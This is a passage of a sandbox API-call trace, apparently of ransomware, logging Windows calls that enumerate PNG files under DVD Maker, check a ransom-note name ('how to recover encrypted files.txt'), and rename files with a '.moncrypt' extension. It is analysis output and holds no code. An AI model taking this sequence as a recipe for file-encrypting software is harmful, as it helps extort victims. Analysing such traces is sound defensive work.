lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.577] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png", cchWideChar=91, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 91 [0057.577] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\FlipPage\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0057.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0057.577] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.577] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.577] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.578] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0057.579] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.579] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png.moncrypt")) returned 0 [0057.579] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.579] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.579] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.579] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.579] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.579] GlobalUnlock (hMem=0x44000c) returned 0 [0057.579] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.579] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.579] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.579] GlobalUnlock (hMem=0x44000c) returned 0 [0057.579] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.579] GlobalUnlock (hMem=0x440004) returned 0 [0057.579] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.580] CharLowerBuffW (in: lpsz="NavigationRight_ButtonGraphic.png", cchLength=0x21 | out: lpsz="navigationright_buttongraphic.png") returned 0x21 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png", cchWideChar=86, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.pngf", lpUsedDefaultChar=0x0) returned 86 [0057.581] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\FlipPage\\NavigationRight_ButtonGraphic.pngf", lpUsedDefaultChar=0x0) returned 4 [0057.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0057.581] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.581] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.581] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.581] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0057.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.589] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png.moncrypt")) returned 0 [0057.589] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.589] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.589] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.589] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.589] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.589] GlobalUnlock (hMem=0x440004) returned 0 [0057.589] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.589] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.589] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.589] GlobalUnlock (hMem=0x440004) returned 0 [0057.589] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.589] GlobalUnlock (hMem=0x44000c) returned 0 [0057.589] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.589] CharLowerBuffW (in: lpsz="NavigationRight_SelectionSubpicture.png", cchLength=0x27 | out: lpsz="navigationright_selectionsubpicture.png") returned 0x27 [0057.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", 